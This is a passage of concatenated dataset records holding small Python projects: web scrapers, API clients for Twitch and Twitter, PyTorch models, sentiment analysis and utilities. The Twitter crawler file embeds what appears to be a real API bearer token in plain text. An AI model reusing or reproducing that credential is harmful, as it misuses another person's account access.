"line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 220, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 242, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 255, "usage_type": "call"}]} {"seq_id": "23016793148", "text": "from itertools import count\nimport os\nfrom typing import Counter\nimport pandas as pd\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\n\nos.environ['PATH'] = r\"c:/SeleniumDrivers\"\noptions = webdriver.ChromeOptions()\noptions.add_experimental_option('excludeSwitches', ['enable-logging'])\ndriver = webdriver.Chrome(options=options)\naction = ActionChains(driver)\ndriver.get('https://www.daraz.com.np/')\ndriver.implicitly_wait(50)\n\ncatagory = driver.find_element(By.ID,'Level_1_Category_No1')\nselect_catagory = driver.find_element(By.XPATH,'//*[@id=\"J_8018372580\"]/div/ul/ul[1]/li[1]')\nactions = ActionChains(driver)\nactions.move_to_element(catagory)\nactions.click(select_catagory)\nactions.perform()\nurls = []\nresults = []\ncount = 1\nnext_page = driver.find_element(By.XPATH,'//*[@id=\"root\"]/div/div[3]/div[1]/div/div[1]/div[3]/div/ul/li[9]')\nwhile(next_page.get_attribute('aria-disabled')!='true'):\n url = []\n titles = driver.find_elements(By.XPATH,'//*[@id=\"root\"]/div/div[3]/div[1]/div/div[1]/div[2]/div/div')\n for title in titles:\n u = title.find_element(By.XPATH,'//*[@id=\"root\"]/div/div[3]/div[1]/div/div[1]/div[2]/div[1]/div/div/div[2]/div[2]/a').get_attribute('href').strip()\n url.append(u)\n urls.append(url)\n driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\n print(next_page.get_attribute('aria-disabled')+'and' + str(count))\n actions.click(next_page)\n actions.perform()\n count = count+1\n time.sleep(0.5)\ndriver.close()\ndata = pd.DataFrame(urls)\n# data.columns = ['url']\ndata.to_csv('urls.csv', index=False)", "repo_name": "Ayush85/Selenium_project", "sub_path": "final.py", "file_name": "final.py", "file_ext": "py", "file_size_in_byte": 1657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 11, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 11, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 13, "usage_type": "name"}, {"api_name": "selenium.webdriver.ActionChains", "line_number": 14, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 18, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.ActionChains", "line_number": 20, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 26, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 27, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 27, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 30, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 30, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 32, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 32, "usage_type": "name"}, {"api_name": "itertools.count", "line_number": 36, "usage_type": "argument"}, {"api_name": "itertools.count", "line_number": 39, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 42, "usage_type": "call"}]} {"seq_id": "14183147880", "text": "import time\nfrom selenium import webdriver\n\ndef scrapeBalance(cosmosWalletAddress):\n\n #Your choice of webdriver.\n #Here using Firefox webdriver.\n op = webdriver.FirefoxOptions()\n op.add_argument('--headless')\n browser = webdriver.Firefox(\n executable_path=\"Your Firefox Web Driver Path\",\n options=op)\n\n url = \"https://likecoin.bigdipper.live/account/\" + cosmosWalletAddress\n\n browser.get(url)\n\n time.sleep(3)\n\n balance = browser.find_elements_by_xpath(\"//div[@class='value text-right col-8']\")[5].text\n\n browser.quit()\n\n return balance\n", "repo_name": "YJCHOO/likecoin-balance-web-scrape-server", "sub_path": "webscrape.py", "file_name": "webscrape.py", "file_ext": "py", "file_size_in_byte": 584, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.FirefoxOptions", "line_number": 8, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 8, "usage_type": "name"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 10, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}]} {"seq_id": "37048874116", "text": "#!/usr/bin/env python\nfrom StringIO import StringIO\n\nimport sys\nimport unittest2\nfrom mock import patch\n\nfrom console_table import ConsoleTable\n\n\nclass EnmUserUnitTests(unittest2.TestCase):\n\n @patch('sys.stdout', new_callable=StringIO)\n def test_default_console_table(self, output_mock):\n expected_value = \"\\n\".join([\n \"| Heading 1 | Heading 2 |\",\n \"-------------------------------------------\",\n \"| Cell 1 |Subcell 1|Subcell 2 |\"\n ]) + \"\\n\"\n\n table = ConsoleTable()\n table.print_entry(\"Heading 1\", \"Heading 2\")\n table.print_row_separator()\n table.print_entry(\"Cell 1\", (\"Subcell 1\", \"Subcell 2\"))\n\n self.assertEqual(output_mock.getvalue(), expected_value)\n\n @patch('sys.stdout', new_callable=StringIO)\n def test_console_table_with_config(self, output_mock):\n expected_value = \"\\n\".join([\n \" 1 x 4 = 40 \",\n \" 5 x 4 = 20 \",\n \" foo x bar = foobar\"\n ]) + \"\\n\"\n\n table = ConsoleTable(row_format=\"{:>} x {} = {}\", column_widths=(7, 4), subcell_delimiter=\"x\")\n table.print_entry(\"1\", \"4\", \"40\")\n table.print_entry(\"5\", \"4\", \"20\")\n table.print_entry(\"foo\", \"bar\", \"foobar\")\n\n self.assertEqual(output_mock.getvalue(), expected_value)\n\n\nif __name__ == \"__main__\":\n unittest2.main(verbosity=2)\n", "repo_name": "daradermody/ConsoleTable", "sub_path": "unit_test_console_table.py", "file_name": "unit_test_console_table.py", "file_ext": "py", "file_size_in_byte": 1415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest2.TestCase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "console_table.ConsoleTable", "line_number": 21, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 13, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 13, "usage_type": "name"}, {"api_name": "console_table.ConsoleTable", "line_number": 36, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 28, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 28, "usage_type": "name"}, {"api_name": "unittest2.main", "line_number": 45, "usage_type": "call"}]} {"seq_id": "27152966829", "text": "import requests\r\nimport json\r\nimport re\r\n\r\ndef get_latt_long(postal_code):\r\n \"\"\"Return a tuple containing the latitude and longitude of the given postal code\"\"\"\r\n req = requests.get(\r\n url = \"https://geocode.xyz/\" + str(postal_code),\r\n params= {\r\n \"geoit\":\"JSON\"\r\n },\r\n cookies = {\r\n \"xyzh\": \"xyzh\"\r\n }\r\n ).json()\r\n return req['latt'], req['longt']\r\n\r\ndef pretty_format(dictionary):\r\n \"\"\"Return the formatted version of a given dictionary/list a string\"\"\"\r\n return json.dumps(dictionary, indent=4, sort_keys=True)\r\n\r\ndef xstr(s):\r\n \"\"\"Returns s if s is not None, otherwise return blank\"\"\"\r\n return s if s is not None else \"\"", "repo_name": "rizemon/pySGDabao", "sub_path": "pySGDabao/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 705, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 20, "usage_type": "call"}]} {"seq_id": "14528764551", "text": "# -*- coding: UTF-8 -*-\n\n# standard\nimport os\nimport time\nimport base64\n\n# numpy\nimport numpy as np\n\n# opencv\nimport cv2\n\n# pdf\nimport img2pdf\n\nclass Utility:\n def __init__(self):\n pass\n\n @staticmethod\n def to_base64_list(har_data, mime_type):\n base64_list = []\n minsize = 1024\n\n for e in har_data['log']['entries']:\n element = e.get('response').get('content')\n if element.get('encoding') == 'base64':\n if element.get('text'):\n # iconのような小さいサイズは除外する\n if element.get('mimeType') == f'image/{mime_type}' and minsize <= element.get('size'):\n base64_list.append(element.get('text'))\n\n return base64_list\n \n @staticmethod\n def to_image(base64_data, path):\n # base64データを画像に変換する\n image = np.frombuffer(base64.b64decode(base64_data), dtype=np.uint8)\n decoded_image = cv2.imdecode(image, cv2.IMREAD_COLOR)\n # 日本語だと文字化けするので、ファイル名outで出力してから引数の名前へ変換する\n cv2_path = f'{os.path.dirname(path)}/out{os.path.splitext(path)[-1]}'\n cv2.imwrite(cv2_path, decoded_image)\n os.rename(cv2_path, path)\n\n @staticmethod\n def save_image(save_path, base64_list, pdf_infos, mime_type, is_pdf):\n index = 0\n page = 0\n filename_list = []\n for e in base64_list:\n max_page = int(pdf_infos[index]['total_page'])\n page += 1\n\n file_name = f'{os.path.splitext(os.path.basename(pdf_infos[index][\"pdf_name\"]))[0]}'\n image_path = f'{os.path.dirname(save_path)}/{file_name}-{page}.{mime_type}'\n pdf_path = f'{os.path.dirname(save_path)}/{file_name}.pdf'\n\n print((file_name, image_path, pdf_path))\n\n Utility.to_image(e, image_path)\n filename_list.append(image_path)\n\n if max_page // (page+1) == 0:\n with open(pdf_path,'wb') as f:\n if is_pdf:\n f.write(img2pdf.convert(filename_list))\n for e in filename_list:\n os.remove(e)\n\n page = 0\n index += 1\n filename_list = []\n\n\n # sleeping with reason\n @staticmethod\n def sleep_with_reason(sec, reason=None):\n if reason:\n print(f'sleep {sec} sec because {reason}')\n time.sleep(sec)\n\n", "repo_name": "shirokuma1101/gdrive-pdf-dl", "sub_path": "gdrivepdfdl/utility.py", "file_name": "utility.py", "file_ext": "py", "file_size_in_byte": 2523, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.frombuffer", "line_number": 39, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.imdecode", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 43, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "img2pdf.convert", "line_number": 67, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 69, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}]} {"seq_id": "36890010847", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass FFNN(nn.Module):\n def __init__(self, batch_size, num_hidden_layers=0, hidden_dims=None):\n super(FFNN, self).__init__()\n self.batch_size = batch_size\n # define layers here\n self.input_dim = 69\n if type(hidden_dims) is int:\n self.hidden_dims = [hidden_dims] * num_hidden_layers\n else:\n self.hidden_dims = hidden_dims\n self.num_hidden_layers = len(self.hidden_dims)\n self.linear_fns = nn.ModuleList()\n self.dropout_fns = nn.ModuleList()\n\n if self.num_hidden_layers > 0:\n self.linear_fns.append(nn.Linear(self.input_dim, self.hidden_dims[0]))\n self.dropout_fns.append(nn.Dropout(0.1))\n for i in range(1, self.num_hidden_layers):\n self.linear_fns.append(nn.Linear(self.hidden_dims[i - 1], self.hidden_dims[i]))\n self.dropout_fns.append(nn.Dropout(0.1 + 0.02 * i))\n self.output_fn = nn.Linear(self.hidden_dims[-1], 1)\n else:\n self.output_fn = nn.Linear(self.input_dim, 1)\n \n self.relu = nn.ReLU()\n \n def forward(self, X):\n a = X\n for i in range(len(self.linear_fns)):\n #a = self.relu(self.dropout_fns[i](self.linear_fns[i](a)))\n a = self.relu(self.linear_fns[i](a))\n y = self.output_fn(a)\n return y\n\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = nn.Conv2d(3, 64, 3, padding=1)\n self.conv2 = nn.Conv2d(64, 128, 5, padding=2)\n self.MaxPool1 = nn.MaxPool2d(2, padding=1)\n self.conv3 = nn.Conv2d(128, 256, 7, padding=3)\n self.conv4 = nn.Conv2d(256, 64, 3, padding=1)\n self.MaxPool2 = nn.MaxPool2d(2, padding=1)\n self.Dropout1 = nn.Dropout(0.2)\n self.linear1 = nn.Linear(3 * 3 * 64, 1)\n\n def forward(self, X):\n a = F.relu(self.conv1(X))\n #a = self.MaxPool1(F.relu(self.conv1(X)))\n a = F.relu(self.conv2(a))\n\n a = self.MaxPool1(a)\n #print(a.shape)\n\n a = F.relu(self.conv3(a))\n\n a = F.relu(self.conv4(a))\n\n a = self.MaxPool2(a)\n\n #print(a.shape)\n a = a.flatten(1)\n #print(a.shape)\n \n #a = F.relu(self.linear1(a))\n y = self.linear1(a)\n\n return y\n\n\n", "repo_name": "burself21/daya-chess", "sub_path": "backend/chess_nn/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 2383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 61, "usage_type": "name"}]} {"seq_id": "20362911867", "text": "# Importer les bibliothèques nécessaires\r\nimport pandas as pd\r\nfrom textblob import TextBlob\r\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\r\nimport nltk\r\nnltk.download('vader_lexicon')\r\n\r\n\r\n\r\n# Charger le fichier CSV\r\ndf = pd.read_csv(r\"*****AMAZON ET METACRITIC ENG SA.csv\")\r\ndf['review_en'] = df['review_en'].astype(str)\r\n\r\n# Créer une fonction pour l'analyse de sentiment TextBlob\r\ndef get_textblob_sentiment(review):\r\n analysis = TextBlob(review)\r\n if analysis.sentiment.polarity > 0:\r\n return 'positive'\r\n elif analysis.sentiment.polarity == 0:\r\n return 'neutral'\r\n else:\r\n return 'negative'\r\n\r\n# Créer une fonction pour l'analyse de sentiment VADER\r\ndef get_vader_sentiment(review):\r\n sid = SentimentIntensityAnalyzer()\r\n scores = sid.polarity_scores(review)\r\n if scores['compound'] > 0:\r\n return 'positive'\r\n elif scores['compound'] == 0:\r\n return 'neutral'\r\n else:\r\n return 'negative'\r\n\r\n# Créer une fonction pour l'analyse de sentiment NLTK\r\ndef get_nltk_sentiment(review):\r\n nltk_sentiment = nltk.sentiment.SentimentIntensityAnalyzer()\r\n sentiment_score = nltk_sentiment.polarity_scores(review)\r\n if sentiment_score['compound'] > 0:\r\n return 'positive'\r\n elif sentiment_score['compound'] == 0:\r\n return 'neutral'\r\n else:\r\n return 'negative'\r\n\r\n# Ajouter les colonnes de sentiment au dataframe\r\ndf['sentiment TEXTBLOB'] = df['review_en'].apply(get_textblob_sentiment)\r\ndf['sentiment VADER'] = df['review_en'].apply(get_vader_sentiment)\r\ndf['sentiment NLTK'] = df['review_en'].apply(get_nltk_sentiment)\r\n\r\n# Sauvegarder le dataframe dans un nouveau fichier CSV\r\ndf.to_csv(r\"****AMAZON ET METACRITIC SA VADER NLTK TEXTBLOB.csv\", index=False)\r\n\r\nprint(df.head(100))\r\n", "repo_name": "Mugule/Projet-Datascientest", "sub_path": "code/analyse des sentiments VADER NLTK ET TEXTBLOB.py", "file_name": "analyse des sentiments VADER NLTK ET TEXTBLOB.py", "file_ext": "py", "file_size_in_byte": 1797, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "nltk.download", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 16, "usage_type": "call"}, {"api_name": "nltk.sentiment.vader.SentimentIntensityAnalyzer", "line_number": 26, "usage_type": "call"}, {"api_name": "nltk.sentiment.SentimentIntensityAnalyzer", "line_number": 37, "usage_type": "call"}, {"api_name": "nltk.sentiment", "line_number": 37, "usage_type": "attribute"}]} {"seq_id": "28224888700", "text": "from collections import defaultdict\n\nn = int(input())\nseen = defaultdict(int)\n\nfor _ in range(n):\n s = input()\n if s not in seen:\n print(s)\n else:\n print(s + '({})'.format(seen[s]))\n \n seen[s] += 1\n", "repo_name": "blueletter123456789/atc", "sub_path": "abc261/c/c.py", "file_name": "c.py", "file_ext": "py", "file_size_in_byte": 227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 4, "usage_type": "call"}]} {"seq_id": "70179816894", "text": "import os, operator\nfrom collections import ChainMap\nfrom requests_futures import sessions\n\nHEADERS = {\n 'Accept' : 'application/vnd.twitchtv.v5+json',\n 'Client-ID': os.getenv('CLIENT_ID'),\n 'Authorization': 'Bearer ' + os.getenv('TOKEN'),\n}\n\ndef get_channel_id(name: str) -> str:\n session = sessions.FuturesSession()\n response = session.get(f'https://api.twitch.tv/kraken/users?login={name}', headers=HEADERS).result().json()\n return response['users'][0]['_id']\n\ndef get_channel_by_id(id: str) -> str:\n session = sessions.FuturesSession()\n return session.get(f'https://api.twitch.tv/kraken/channels/{id}', headers=HEADERS).result().json()\n\ndef get_stream_by_id(id: str) -> str:\n session = sessions.FuturesSession()\n response = session.get(f'https://api.twitch.tv/kraken/streams/{id}', headers=HEADERS).result().json()\n return response['stream']\n\ndef get_channels_id(l: list) -> list:\n listToStr = ','.join([str(i) for i in l]) \n session = sessions.FuturesSession(max_workers=2)\n response = session.get(f'https://api.twitch.tv/kraken/users?login={listToStr}', headers=HEADERS).result().json()\n channel_id = [response['users'][i]['_id'] for i in range(0,response['_total'])]\n return channel_id\n\ndef get_streams_by_id(l: list) -> list:\n data = {}\n session = sessions.FuturesSession(max_workers=len(l))\n for n,i in enumerate(l):\n response = session.get(f'https://api.twitch.tv/kraken/streams/{i}', headers=HEADERS).result().json()\n new_data = {f'{n}':response['stream']}\n data = ChainMap(new_data,data)\n return data\n\ndef top_viewer(stream: dict, number: int) -> dict:\n top_viewer=[]\n streamers = {i['channel']['name']: i['viewers'] for n,i in stream.items() if i != None}\n if len(streamers.keys()) >= number:\n for i in range(number):\n streamer = max(streamers.keys(), key=operator.itemgetter(0))\n top_viewer.append(streamer)\n streamers.pop(streamer,None)\n return top_viewer\n elif len(streamers.keys()) <= 3:\n for i in range(len(streamers.keys())):\n streamer = max(streamers.keys(), key=operator.itemgetter(0))\n top_viewer.append(streamer)\n streamers.pop(streamer,None)\n return top_viewer\n else:\n return None\n", "repo_name": "HossienHunTa/Fawitch", "sub_path": "fawitch/web/twitchapi.py", "file_name": "twitchapi.py", "file_ext": "py", "file_size_in_byte": 2302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getenv", "line_number": 7, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 8, "usage_type": "call"}, {"api_name": "requests_futures.sessions.FuturesSession", "line_number": 12, "usage_type": "call"}, {"api_name": "requests_futures.sessions", "line_number": 12, "usage_type": "name"}, {"api_name": "requests_futures.sessions.FuturesSession", "line_number": 17, "usage_type": "call"}, {"api_name": "requests_futures.sessions", "line_number": 17, "usage_type": "name"}, {"api_name": "requests_futures.sessions.FuturesSession", "line_number": 21, "usage_type": "call"}, {"api_name": "requests_futures.sessions", "line_number": 21, "usage_type": "name"}, {"api_name": "requests_futures.sessions.FuturesSession", "line_number": 27, "usage_type": "call"}, {"api_name": "requests_futures.sessions", "line_number": 27, "usage_type": "name"}, {"api_name": "requests_futures.sessions.FuturesSession", "line_number": 34, "usage_type": "call"}, {"api_name": "requests_futures.sessions", "line_number": 34, "usage_type": "name"}, {"api_name": "collections.ChainMap", "line_number": 38, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 46, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 52, "usage_type": "call"}]} {"seq_id": "41367838584", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport os\nimport json\nimport time\nimport dataClean\n\n\n\nbearer_token = 'AAAAAAAAAAAAAAAAAAAAAH6%2FhgEAAAAAC174stDAGI%2FLK7FVJCUdZNIXdr8%3DBddrVjoAkoV2erXv1tZCFWSM7oBYsotbCWWa56AmkVKADFnGHQ'\n\nsearch_url = \"https://api.twitter.com/2/tweets/counts/recent\"\n\n# Optional params: start_time,end_time,since_id,until_id,next_token,granularity\nquery_params = {'query': 'from:twitterdev', 'granularity': 'day'}\n\n\ndef is_contains_english(str):\n my_re = re.compile(r'[A-Za-z]', re.S)\n res = re.findall(my_re, str)\n if len(res):\n return True\n else:\n return False\n\n\ndef get_latestTopic():\n res = requests.get('https://twitter-trends.iamrohit.in/singapore')\n res.encoding = 'utf-8'\n soup = BeautifulSoup(res.text, 'html.parser')\n\n topic_list = []\n count = 1\n while len(topic_list) < 10:\n print(len(topic_list) + 1)\n a = soup.find('a', class_=\"tweet\", rank=count).text\n count = count + 1\n if is_contains_english(a):\n a = a.replace('#','')\n topic_list.append(a)\n print(a)\n\n return topic_list\n\n\ndef bearer_oauth(r):\n \"\"\"\n Method required by bearer token authentication.\n \"\"\"\n\n r.headers[\"Authorization\"] = f\"Bearer {bearer_token}\"\n r.headers[\"User-Agent\"] = \"v2FilteredStreamPython\"\n return r\n\n\ndef get_rules():\n response = requests.get(\n \"https://api.twitter.com/2/tweets/search/stream/rules\", auth=bearer_oauth\n )\n if response.status_code != 200:\n raise Exception(\n \"Cannot get rules (HTTP {}): {}\".format(response.status_code, response.text)\n )\n # print(json.dumps(response.json()))\n return response.json()\n\n\ndef delete_all_rules(rules):\n if rules is None or \"data\" not in rules:\n return None\n\n ids = list(map(lambda rule: rule[\"id\"], rules[\"data\"]))\n payload = {\"delete\": {\"ids\": ids}}\n response = requests.post(\n \"https://api.twitter.com/2/tweets/search/stream/rules\",\n auth=bearer_oauth,\n json=payload\n )\n if response.status_code != 200:\n raise Exception(\n \"Cannot delete rules (HTTP {}): {}\".format(\n response.status_code, response.text\n )\n )\n print(json.dumps(response.json()))\n\n\ndef set_rules(delete, trendings):\n # You can adjust the rules if needed\n\n sample_rules = [\n # {\"value\": \"dog has:images\", \"tag\": \"dog pictures\"},\n {\"value\": trendings, \"tag\": trendings},\n\n ]\n payload = {\"add\": sample_rules}\n response = requests.post(\n \"https://api.twitter.com/2/tweets/search/stream/rules\",\n auth=bearer_oauth,\n json=payload,\n )\n if response.status_code != 201:\n raise Exception(\n \"Cannot add rules (HTTP {}): {}\".format(response.status_code, response.text)\n )\n print(json.dumps(response.json()))\n\n\ndef get_stream(set):\n dataSet = []\n response = requests.get(\n \"https://api.twitter.com/2/tweets/search/stream?tweet.fields=lang,referenced_tweets&expansions=referenced_tweets.id\", auth=bearer_oauth, stream=True,\n )\n print(response.status_code)\n if response.status_code != 200:\n raise Exception(\n \"Cannot get stream (HTTP {}): {}\".format(\n response.status_code, response.text\n )\n )\n\n for response_line in response.iter_lines():\n if response_line:\n json_response = json.loads(response_line)\n a = json.dumps(json_response, indent=4, sort_keys=True)\n tweetsText = str(json_response['includes']['tweets'][0]['text'])\n langage = str(json_response['data']['lang'])\n print(a)\n if langage != 'en':\n continue\n if tweetsText.__contains__('RT @'):\n try:\n tweetsText = json_response['includes']['tweets'][1]['text']\n except:\n continue\n tweetsText = dataClean.sentenceClean(tweetsText)\n dataSet.append(tweetsText)\n print(tweetsText)\n # print(len(dataSet))\n if len(dataSet) > 999:\n response.close()\n return dataSet\n\n return dataSet\n\n\ndef main():\n targetData = []\n rules = get_rules()\n delete = delete_all_rules(rules)\n trendings = get_latestTopic()\n topicList = []\n for i in range(0, 10):\n set = set_rules(delete, trendings[i])\n\n # start = time.perf_counter()\n target = get_stream(set)\n # end = time.perf_counter()\n # print(end - start)\n targetData.append(target)\n return targetData\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "sweetbao/PRS-PM-IS04FT-GRP10-Public-Opinion-Analysis-System", "sub_path": "backend/dataCrawler/dataFetch.py", "file_name": "dataFetch.py", "file_ext": "py", "file_size_in_byte": 4689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 20, "usage_type": "call"}, {"api_name": "re.S", "line_number": 20, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 58, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 75, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 86, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 98, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 107, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 112, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 125, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "dataClean.sentenceClean", "line_number": 137, "usage_type": "call"}]} {"seq_id": "35991655703", "text": "\"\"\"\nA module that contains a metaclass mixin that provides NumPy 